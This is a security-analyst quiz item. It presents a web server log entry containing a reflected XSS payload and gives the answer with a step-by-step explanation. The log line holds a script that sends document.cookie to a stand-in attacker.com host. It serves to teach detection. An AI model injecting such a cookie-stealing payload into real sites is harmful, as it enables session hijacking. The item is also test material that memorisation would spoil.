HTTP/1.1\"","text":"A security analyst is investigating web traffic logs forwarded to an enterprise SIEM platform and identifies the following log entry: `192.168.1.45 - - [27/Jul/2026:14:15:22 +0000] \"GET /search.php?q= HTTP/1.1\"","inLanguage":"en","acceptedAnswer":{"@type":"Answer","text":"Reflected Cross-Site Scripting (XSS) targeting client-side session tokens","answerExplanation":{"@type":"Comment","text":"Reflected Cross-Site Scripting (XSS) targeting client-side session tokens The log entry demonstrates an HTTP GET request containing `

A security analyst is investigating web traffic logs forwarded to an enterprise SIEM platform and identifies the following log entry:

`192.168.1.45 - - [27/Jul/2026:14:15:22 +0000] "GET /search.php?q=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> HTTP/1.1" 200 4520`

Based on this log entry, which attack vector should be selected to classify this event and write a SIEM detection rule?

1. Reflected Cross-Site Scripting (XSS) targeting client-side session tokensAnswer
2. B
   SQL injection (SQLi) targeting backend database tables
3. C
   Authorization failure attempting administrative privilege escalation
4. D
   SIEM correlation rule syntax error failing multi-device event sequence parsing

Answer

Reflected Cross-Site Scripting (XSS) targeting client-side session tokens

The log entry demonstrates an HTTP GET request containing `<script>` tags that reference `document.cookie` and attempt to transmit it to an external server. This signature directly matches Cross-Site Scripting (XSS), specifically aimed at session hijacking.

Step-by-Step Solution

1

Inspect the URL query parameter within the HTTP GET log entry.

The parameter `q` contains `<script>` tags executing `document.location` redirect operations appended with `document.cookie`.

Identifying the payload structure reveals whether the execution context is client-side or server-side.

2

Differentiate Cross-Site Scripting (XSS) from database or access control attacks.

Script execution inside a web browser targeting session storage represents XSS.

XSS targets the client browser execution environment, whereas SQLi targets backend database engines.

Key Concept

Identifying web application attack payload signatures in SIEM HTTP access logs

Common Mistakes